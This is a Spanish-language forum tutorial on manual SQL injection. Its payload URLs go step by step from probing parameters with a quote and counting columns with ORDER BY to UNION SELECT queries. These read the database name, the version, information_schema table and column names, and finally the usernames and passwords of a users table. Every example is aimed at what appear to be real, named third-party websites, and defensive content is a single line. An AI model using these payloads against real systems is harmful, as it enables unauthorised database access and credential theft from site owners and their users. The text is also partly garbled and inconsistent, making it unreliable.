Es una vulnerabilidad que se efectua por una mala filtración de caracteres.
Usando mysql se pueden filtrar caracteres con la funcion mysql_real_escape_string()
Esta vulnerabilidad permite al atacante injectar una consulta SQL mejor conocido como un query.
Sqli Manual
en este caso una variable aqui viene siendo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b
id
ref
co
a
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=sss
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos=sss
Código: Seleccionar todo
http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln
para saber cuantas columnas tiene podemos poner
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7
columnas
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,
salta normal
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,7
notA: una injeccion siempre deve tener -- al final ejemplo
[Enlace externo eliminado para invitados]
tambien se puede hacer
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5--
Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo
[Enlace externo eliminado para invitados]
Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6
Cada numero esta involucrado en la injeccion
Código: Seleccionar todo
ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,5,--
esos numeros estan haciendo querys ala db
con este comando database()
se saca el nombre de la db
Como?
sustituimos un numero ke imprime 5 3 o 2 ejemplo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,database()--
se pone version()
(en otro numero que imprima en estecaso 2) ejemplo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,version(),3,4,5--
cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables
y cuando sea de columnas
information_schema.colums
si queremos sacar las columnas la url seria asi
Código: Seleccionar todo
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--
Código: Seleccionar todo
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--
aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+4,1--
ya que sacamos las tablas encontramos la tabla usuarios users o algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+49,1--

ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo [Enlace externo eliminado para invitados]
Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1--
Ahora borramos hasta que quede la injeccion normal algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--